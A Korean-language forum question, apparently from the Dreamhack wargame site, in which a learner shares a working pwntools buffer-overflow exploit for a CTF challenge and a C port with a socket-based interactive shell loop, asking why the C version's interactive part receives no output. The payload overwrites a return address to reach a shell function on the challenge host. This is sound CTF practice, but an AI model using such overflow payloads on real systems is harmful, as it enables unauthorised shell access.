같은 익스 코드를 C로 작성했는데 interactive 부분이 왜 동작하지 않는지 모르겠습니다.
문제를 풀었고 아래처럼 python으로 익스 코드를 작성했습니다.
from pwn import *
if name == 'main':
context.log_level = 'debug'
payload = b'A' * 0x30 + b'B' * 0x8 + b'\xAA\x06\x40\x00\x00\x00\x00\x00'
rmt = remote('host3.dreamhack.games', 16605)
rmt.send(payload)
rmt.interactive()
잘 동작하는 것을 확인했고, 이를 C언어로도 풀어보고 싶어서 아래처럼 작성했습니다.
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <stdio.h>
#include <time.h>
#define HOST_NAME "host3.dreamhack.games"
#define PORT_ADDR 12920
void exit_with_error(char * message) {
fputs(message, stderr);
fputc('\n', stderr);
exit(1);
}
void print_bytes(uint8_t * bytes, size_t length) {
for (int i = 0; i < length; i++) {
printf("%02X ", bytes[i]);
if ((i + 1) % 16 == 0) {
puts("");
continue;
}
}
if (length % 16 != 0) {
puts("");
}
puts("");
}
void * recv_thread(void * arg) {
int sock = *(int *)arg;
char buffer[100] = {};
ssize_t recv_bytes;
while (1) {
recv_bytes = recv(sock, buffer, 100, 0);
if (recv_bytes <= 0) {
break;
}
printf("%s\n", buffer);
}
pthread_exit(NULL);
}
int main(void) {
int sock;
struct hostent * host;
struct sockaddr_in serv_addr;
pthread_t recv_thread_id;
uint64_t binsh_addr = 0x4006AA;
char buffer[100] = {};
char payload[0x40] = {};
memset(payload, 'A', 0x30 + 8);
memmove(payload + 0x30 + 8, &binsh_addr, sizeof binsh_addr);
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
exit_with_error("socket() error");
}
if (!(host = gethostbyname(HOST_NAME))) {
exit_with_error("gethostbyname() error");
}
unsigned long ip_addr = ((struct in_addr *)host->h_addr_list)->s_addr;
memset(&serv_addr, 0, sizeof serv_addr);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = ip_addr;
serv_addr.sin_port = htons(PORT_ADDR);
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof serv_addr) == -1) {
exit_with_error("connect() error");
}
recv(sock, buffer, sizeof buffer, 0);
print_bytes(buffer, sizeof buffer);
memset(buffer, 0, sizeof buffer);
ssize_t timer = 1024;
if (send(sock, payload, sizeof payload, 0) == -1) {
exit_with_error("write error");
}
print_bytes(payload, sizeof payload);
pthread_create(&recv_thread_id, NULL, recv_thread, (void *)&sock);
puts("ineractive >>");
while (1) {
printf("$ ");
memset(buffer, 0, sizeof buffer);
fgets(buffer, sizeof buffer - 1, stdin);
if (!strcmp(buffer, "exit\n")) {
break;
}
print_bytes(buffer, sizeof buffer);
int send_bytes = send(sock, buffer, strlen(buffer), 0);
if (send_bytes == -1) {
printf("send failed");
break;
}
}
pthread_join(recv_thread_id, NULL);
close(sock);
return 0;
}
interactive로 작성한 부분이 pthread_create부터입니다. 해당 코드 전까지는 입력도 잘 받고 출력도 잘 되지만, interactive부분부터 입력을 서버로 주면 출력을 받질 못합니다. 중간중간 디버깅 코드도 넣어서 돌려봤지만 잘 동작하지 않는 이유를 잘 모르겠습니다.
쉘코드와 함께 나오는 shell_basic 문제는 C언어만으로 해결했습니다.
RTFM
댓글 53